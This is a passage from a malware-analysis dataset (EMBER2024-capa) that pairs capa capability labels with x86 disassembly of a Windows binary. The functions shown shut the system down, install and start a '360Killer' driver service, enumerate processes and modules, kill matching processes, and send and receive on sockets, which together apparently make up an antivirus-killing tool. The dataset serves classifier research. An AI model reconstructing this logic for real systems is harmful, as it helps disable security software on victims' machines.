joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43a587
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push edi
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
push 0x28
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x43a667
lea edx, [ebp - 0x18]
push edx
push 0x4e2378
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x43a65d
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x43a609
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov dword [ebp - 8], eax
jmp 0x43a65d
mov byte [ebp - 0x120], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x4e238c
push 0x104
lea edx, [ebp - 0x120]
push edx
call fcn.00403f10
add esp, 0x10
push 0
push 0x550d90
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.USER32.dll_GetActiveWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x43b782
Capabilities:
Create service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0xc]
call fcn.0043b71d
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x43b7ee
cmp dword [ebp - 4], 0
je 0x43b7ee
mov edx, dword [ebp + 0xc]
push edx
call dword [0x54b4f0]
cmp eax, 0xffffffff
je 0x43b7ee
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push 1
push 3
push 1
push 0xf01ff
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x43b7fe
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 8
Function at 0x43b881
Capabilities:
Get common file path
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [ebp - 0x128], ecx
mov eax, dword [ebp - 0x128]
cmp dword [eax + 4], 0xffffffff
je 0x43b8a6
mov eax, 1
jmp 0x43ba95
push 0
push 0
push 3
push 0
push 0
push SysReAllocStringLen
push 0x4e2de0
call dword [0x54b4dc]
mov ecx, dword [ebp - 0x128]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x128]
cmp dword [edx + 4], 0xffffffff
je 0x43b8f0
mov eax, dword [ebp - 0x128]
mov dword [eax + 8], 1
mov ecx, dword [ebp - 0x128]
mov eax, dword [ecx + 8]
jmp 0x43ba95
mov edx, dword [ebp - 0x128]
cmp dword [edx + 8], 0
je 0x43b906
mov eax, 1
jmp 0x43ba95
mov eax, dword [ebp - 0x128]
cmp dword [eax + 4], 0xffffffff
je 0x43b91c
mov eax, 1
jmp 0x43ba95
push 0x104
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.drivers360Killer.sys
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x104]
push eax
mov ecx, dword [ebp - 0x128]
call fcn.0043b807
test eax, eax
jne 0x43b95d
xor eax, eax
jmp 0x43ba95
lea ecx, [ebp - 0x104]
push ecx
push str.360Killer
mov ecx, dword [ebp - 0x128]
call fcn.0043b782
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
je 0x43ba12
lea edx, [ebp - 0x124]
push edx
mov eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x43b9a8
cmp dword [ebp - 0x120], 4
je 0x43b9f8
push 0
push 0
mov ecx, dword [ebp - 0x108]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov edx, dword [ebp - 0x128]
mov dword [edx + 8], eax
mov eax, dword [ebp - 0x128]
cmp dword [eax + 8], 0
je 0x43b9e3
push 0
push str.akDogsysSuccess
call fcn.0044d8c9
mov ecx, eax
call fcn.0044ec8a
jmp 0x43b9f6
push 0
push str.akDogsysFailed
call fcn.0044d8c9
mov ecx, eax
call fcn.0044ec8a
jmp 0x43ba05
mov ecx, dword [ebp - 0x128]
mov dword [ecx + 8], 1
mov edx, dword [ebp - 0x108]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea eax, [ebp - 0x104]
push eax
call dword [0x54b4b8]
push str.SYSTEMCurrentControlSetServices360Killer
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0043ed70
mov ecx, eax
call fcn.0043f24c
mov ecx, dword [ebp - 0x128]
cmp dword [ecx + 8], 0
je 0x43ba8c
push 0
push 0
push 3
push 0
push 0
push SysReAllocStringLen
push 0x4e2e64
call dword [0x54b4dc]
mov edx, dword [ebp - 0x128]
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x128]
cmp dword [eax + 4], 0xffffffff
je 0x43ba7f
mov ecx, dword [ebp - 0x128]
mov dword [ecx + 8], 1
jmp 0x43ba8c
mov edx, dword [ebp - 0x128]
mov dword [edx + 8], 0
mov eax, dword [ebp - 0x128]
mov eax, dword [eax + 8]
mov esp, ebp
pop ebp
ret
Function at 0x43c5a8
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
xor ecx, ecx
cmp eax, dword [ebp - 0x18]
setne cl
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 0
je 0x43c611
mov edx, dword [ebp + 0xc]
push edx
push 1
push 0x40
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x43c60f
push 2
push 0
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
jmp 0x43c617
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], 0
cmp dword [ebp - 0x14], 0
je 0x43c69d
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0x43c461
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x43c683
push 0x3e8
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x43c679
push 0
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x1c], 0
je 0x43c69d
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x43c8c6
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push 0
lea eax, [ebp - 0x100]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ntdll.dll__splitpath]
add esp, 0x14
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x100]
push eax
call fcn.0043c6a4
add esp, 8
test eax, eax
je 0x43c92d
push 0x20
mov ecx, dword [ebp + 8]
push ecx
call dword [0x54b4e0]
mov edx, dword [ebp + 8]
push edx
call dword [0x54b4b8]
test eax, eax
je 0x43c92d
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, 1
jmp 0x43c92f
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x43d106
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 3
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x118], 0
jmp 0x43d148
mov eax, dword [ebp - 0x118]
add eax, 1
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x114]
cmp ecx, dword [ebp + 0x10]
jae 0x43d26c
cmp dword [ebp - 0x118], 3
jge 0x43d26c
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x11c], 0
jmp 0x43d189
mov edx, dword [ebp - 0x11c]
add edx, 1
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x108]
jae 0x43d1ad
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp + ecx*4 - 0x104]
cmp edx, dword [ebp + 8]
jne 0x43d1ab
jmp 0x43d1ad
jmp 0x43d17a
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x108]
jne 0x43d1e3
cmp dword [ebp - 0x108], 0x40
jae 0x43d1e3
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp + 8]
mov dword [ebp + ecx*4 - 0x104], edx
mov eax, dword [ebp - 0x108]
add eax, 1
mov dword [ebp - 0x108], eax
xor ecx, ecx
test ecx, ecx
jne 0x43d16e
lea edx, [ebp - 0x110]
push edx
push 0
lea eax, [ebp - 0x108]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WSOCK32.dll_select]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x43d213
jmp 0x43d139
cmp dword [ebp - 4], 0xffffffff
jne 0x43d21b
jmp 0x43d26c
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.WSOCK32.dll___WSAFDIsSet
test eax, eax
je 0x43d267
push 0
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp - 0x114]
push ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x114]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WSOCK32.dll_send]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x43d267
mov ecx, dword [ebp - 0x114]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x114], ecx
jmp 0x43d139
mov eax, dword [ebp - 0x114]
mov esp, ebp
pop ebp
ret
Function at 0x43d276
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov dword [ebp - 4], 0
mov dword [ebp - 0x114], 3
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x118], 0
jmp 0x43d2b5
mov eax, dword [ebp - 0x118]
add eax, 1
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x10]
jae 0x43d3ca
cmp dword [ebp - 0x118], 3
jge 0x43d3ca
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x11c], 0
jmp 0x43d2f3
mov edx, dword [ebp - 0x11c]
add edx, 1
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x10c]
jae 0x43d317
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp + ecx*4 - 0x108]
cmp edx, dword [ebp + 8]
jne 0x43d315
jmp 0x43d317
jmp 0x43d2e4
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x10c]
jne 0x43d34d
cmp dword [ebp - 0x10c], 0x40
jae 0x43d34d
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp + 8]
mov dword [ebp + ecx*4 - 0x108], edx
mov eax, dword [ebp - 0x10c]
add eax, 1
mov dword [ebp - 0x10c], eax
xor ecx, ecx
test ecx, ecx
jne 0x43d2d8
lea edx, [ebp - 0x114]
push edx
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WSOCK32.dll_select]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x43d37d
jmp 0x43d2a6
cmp dword [ebp - 8], 0xffffffff
jne 0x43d385
jmp 0x43d3ca
lea edx, [ebp - 0x10c]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.WSOCK32.dll___WSAFDIsSet
test eax, eax
je 0x43d3c5
push 0
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WSOCK32.dll_recv]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x43d3c5
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
jmp 0x43d2a6
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x43ddf0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x43de09
cmp dword [ebp + 8], 4
jne 0x43de0d
xor eax, eax
jmp 0x43de40
mov eax, dword [ebp + 8]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x43de3d
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4

Function at 0x43de46
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x230], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x234], eax
lea eax, [ebp - 0x230]
push eax
mov ecx, dword [ebp - 0x234]
push ecx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
je 0x43dfc2
mov dword [ebp - 0x23c], 0
cmp dword [ebp + 0xc], 0
je 0x43df16
mov edx, dword [ebp - 0x228]
push edx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0
je 0x43df14
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
mov ecx, dword [ebp - 0x240]
push ecx
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
jbe 0x43df07
lea edx, [ebp - 0x104]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00402af0
add esp, 8
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x23c], eax
mov ecx, dword [ebp - 0x240]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x43df34
lea edx, [ebp - 0x20c]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00402af0
add esp, 8
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
je 0x43dfa4
mov ecx, dword [ebp - 0x228]
push ecx
call fcn.0043ddf0
test eax, eax
jne 0x43df59
mov dword [ebp - 0x238], 0
jmp 0x43dfc2
mov dword [ebp - 0x244], 0
jmp 0x43df74
mov edx, dword [ebp - 0x244]
add edx, 1
mov dword [ebp - 0x244], edx
cmp dword [ebp - 0x244], 0x32
jae 0x43dfa2
mov eax, dword [ebp + 8]
push eax
call dword [0x54b4b8]
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0
je 0x43df98
jmp 0x43dfa2
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x43df65
jmp 0x43dfc2
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 0x108], eax
jmp 0x43de8b
cmp dword [ebp - 0x234], 0
je 0x43dfe2
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x234], 0
mov eax, dword [ebp - 0x238]
mov esp, ebp
pop ebp
ret
Function at 0x43dfec
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push edi
mov eax, dword [0x4e77fc]
mov dword [ebp - 0x108], eax
mov ecx, dword [0x4e7800]
mov dword [ebp - 0x104], ecx
mov dx, word [0x4e7804]
mov word [ebp - 0x100], dx
mov ecx, 0x3e
xor eax, eax
lea edi, [ebp - 0xfe]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x43e089
lea ecx, [ebp - 0x114]
push ecx
push 4
lea edx, [ebp - 0x110]
push edx
mov eax, dword [ebp - 4]
push eax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x43e089
push 0x104
lea ecx, [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x110]
push edx
mov eax, dword [ebp - 4]
push eax
call sub.PSAPI.DLL_GetModuleBaseNameA
push 0x104
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x108]
push edx
call fcn.0043ecd0
add esp, 0xc
test eax, eax
jne 0x43e0c1
mov eax, dword [ebp + 8]
push eax
call fcn.0043ddf0
test eax, eax
je 0x43e0c1
mov ecx, dword [ebp - 0x10c]
add ecx, 1
mov dword [ebp - 0x10c], ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10c]
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x43e0d6
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push edi
mov eax, dword [str._unknown_]
mov dword [ebp - 0x110], eax
mov ecx, dword [0x4e780c]
mov dword [ebp - 0x10c], ecx
mov dx, word [0x4e7810]
mov word [ebp - 0x108], dx
mov ecx, 0x3e
xor eax, eax
lea edi, [ebp - 0x106]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x114], 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x43e173
lea ecx, [ebp - 0x11c]
push ecx
push 4
lea edx, [ebp - 0x118]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x43e173
push 0x104
lea ecx, [ebp - 0x110]
push ecx
mov edx, dword [ebp - 0x118]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.PSAPI.DLL_GetModuleBaseNameA
lea ecx, [ebp - 0x110]
push ecx
call sub.ntdll.dll_strlen
add esp, 4
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
push edx
call sub.ntdll.dll_strlen
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x43e1da
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
lea ecx, [ebp + eax - 0x110]
sub ecx, dword [ebp - 0xc]
push ecx
call fcn.0043ecd0
add esp, 0xc
test eax, eax
jne 0x43e1da
mov edx, dword [ebp + 8]
push edx
call fcn.0043ddf0
test eax, eax
je 0x43e1da
mov eax, dword [ebp - 0x114]
add eax, 1
mov dword [ebp - 0x114], eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x114]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x43e1ef
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call sub.ntdll.dll__chkstk
mov dword [ebp - 0x100c], 0
lea eax, [ebp - 0x1004]
push eax
push 0x1000
lea ecx, [ebp - 0x1000]
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x43e226
xor eax, eax
jmp 0x43e29e
mov edx, dword [ebp - 0x1004]
shr edx, 2
mov dword [ebp - 0x1010], edx
mov dword [ebp - 0x1008], 0
jmp 0x43e250
mov eax, dword [ebp - 0x1008]
add eax, 1
mov dword [ebp - 0x1008], eax
mov ecx, dword [ebp - 0x1008]
cmp ecx, dword [ebp - 0x1010]
jae 0x43e298
mov edx, dword [ebp - 0x1008]
cmp dword [ebp + edx*4 - 0x1000], 0
je 0x43e296
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x1008]
mov edx, dword [ebp + ecx*4 - 0x1000]
push edx
call fcn.0043dfec
add esp, 8
mov ecx, dword [ebp - 0x100c]
add ecx, eax
mov dword [ebp - 0x100c], ecx
jmp 0x43e241
mov eax, dword [ebp - 0x100c]
mov esp, ebp
pop ebp
ret

Function at 0x43e2a2
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call sub.ntdll.dll__chkstk
mov dword [ebp - 0x100c], 0
lea eax, [ebp - 0x1004]
push eax
push 0x1000
lea ecx, [ebp - 0x1000]
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x43e2d9
xor eax, eax
jmp 0x43e351
mov edx, dword [ebp - 0x1004]
shr edx, 2
mov dword [ebp - 0x1010], edx
mov dword [ebp - 0x1008], 0
jmp 0x43e303
mov eax, dword [ebp - 0x1008]
add eax, 1
mov dword [ebp - 0x1008], eax
mov ecx, dword [ebp - 0x1008]
cmp ecx, dword [ebp - 0x1010]
jae 0x43e34b
mov edx, dword [ebp - 0x1008]
cmp dword [ebp + edx*4 - 0x1000], 0
je 0x43e349
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x1008]
mov edx, dword [ebp + ecx*4 - 0x1000]
push edx
call fcn.0043e0d6
add esp, 8
mov ecx, dword [ebp - 0x100c]
add ecx, eax
mov dword [ebp - 0x100c], ecx
jmp 0x43e2f4
mov eax, dword [ebp - 0x100c]
mov esp, ebp
pop ebp
ret
Function at 0x43e355
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1330
call sub.ntdll.dll__chkstk
push edi
mov dword [ebp - 0x1014], 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x43e392
mov eax, dword [ebp - 0x1014]
jmp 0x43e578
lea ecx, [ebp - 4]
push ecx
push 0x1000
lea edx, [ebp - 0x1010]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x43e562
mov dword [ebp - 0xc], 0
jmp 0x43e3c5
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
shr edx, 2
cmp dword [ebp - 0xc], edx
jae 0x43e562
push 0x104
lea eax, [ebp - 0x1118]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + ecx*4 - 0x1010]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x43e55d
mov byte [ebp - 0x1328], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x1327]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x1224], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x1223]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x1118]
push ecx
push 0x104
lea edx, [ebp - 0x1328]
push edx
call fcn.00415480
mov dword [ebp - 0x1330], 0x5c
mov eax, dword [ebp - 0x1330]
push eax
lea ecx, [ebp - 0x1328]
push ecx
call dword [sym.imp.ntdll.dll_strrchr]
add esp, 8
mov dword [ebp - 0x132c], eax
cmp dword [ebp - 0x132c], 0
je 0x43e4c0
mov edx, dword [ebp - 0x132c]
lea eax, [ebp - 0x1328]
sub edx, eax
add edx, 1
mov dword [ebp - 0x111c], edx
lea ecx, [ebp - 0x1328]
push ecx
call sub.ntdll.dll_strlen
add esp, 4
sub eax, dword [ebp - 0x111c]
push eax
mov edx, dword [ebp - 0x111c]
lea eax, [ebp + edx - 0x1328]
push eax
lea ecx, [ebp - 0x1224]
push ecx
call sub.ntdll.dll_memcpy
add esp, 0xc
mov dword [ebp - 0x1120], 1
mov dword [ebp - 0x10], 0
jmp 0x43e4dc
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x1120]
jae 0x43e523
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
push eax
lea ecx, [ebp - 0x1224]
push ecx
call dword [sym.imp.ntdll.dll__stricmp]
add esp, 8
test eax, eax
jne 0x43e521
mov edx, dword [ebp + 8]
push edx
call fcn.0043ddf0
test eax, eax
je 0x43e521
mov eax, dword [ebp - 0x1014]
add eax, 1
mov dword [ebp - 0x1014], eax
jmp 0x43e4d3
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
push eax
lea ecx, [ebp - 0x1224]
push ecx
call dword [sym.imp.ntdll.dll__stricmp]
add esp, 8
test eax, eax
jne 0x43e55d
mov edx, dword [ebp + 8]
push edx
call fcn.0043ddf0
test eax, eax
je 0x43e55d
mov eax, dword [ebp - 0x1014]
add eax, 1
mov dword [ebp - 0x1014], eax
jmp 0x43e3bc
cmp dword [ebp - 8], 0
je 0x43e572
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1014]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x43e57d
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1328
call sub.ntdll.dll__chkstk
push edi
mov dword [ebp - 0x1010], 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x43e5ba
mov eax, dword [ebp - 0x1010]
jmp 0x43e737
lea ecx, [ebp - 4]
push ecx
push 0x1000
lea edx, [ebp - 0x100c]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x43e721
mov dword [ebp - 0xc], 0
jmp 0x43e5ed
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
shr edx, 2
cmp dword [ebp - 0xc], edx
jae 0x43e721
push 0x104
lea eax, [ebp - 0x1114]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + ecx*4 - 0x100c]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x43e71c
mov byte [ebp - 0x1320], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x131f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x121c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x121b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x1114]
push ecx
push 0x104
lea edx, [ebp - 0x1320]
push edx
call fcn.00415480
mov dword [ebp - 0x1328], 0x5c
mov eax, dword [ebp - 0x1328]
push eax
lea ecx, [ebp - 0x1320]
push ecx
call dword [sym.imp.ntdll.dll_strrchr]
add esp, 8
mov dword [ebp - 0x1324], eax
cmp dword [ebp - 0x1324], 0
je 0x43e6e8
mov edx, dword [ebp - 0x1324]
lea eax, [ebp - 0x1320]
sub edx, eax
add edx, 1
mov dword [ebp - 0x1118], edx
lea ecx, [ebp - 0x1320]
push ecx
call sub.ntdll.dll_strlen
add esp, 4
sub eax, dword [ebp - 0x1118]
